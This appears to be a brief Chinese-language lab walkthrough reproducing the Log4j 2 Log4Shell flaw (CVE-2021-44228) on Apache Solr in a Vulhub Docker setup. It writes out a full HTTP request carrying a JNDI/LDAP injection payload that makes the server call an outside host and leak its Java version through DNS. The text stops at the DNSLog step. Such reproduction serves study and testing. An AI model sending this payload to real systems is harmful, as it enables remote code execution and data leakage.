Log4j 2 (CVE-2021-44228)漏洞复现

• Log4j 2 (CVE-2021-44228)漏洞复现
• • 一、复现环境
  • 二、复现过程

Vulhub：https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228

1. 拉取docker环境
   
   服务器启动后，浏览http://your-ip:8983以查看 Apache Solr的Dashboard：
   
2. JNDI注入

使用bp回放Send有效载荷：

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

找一个DNSLog类网站，用来回显信息：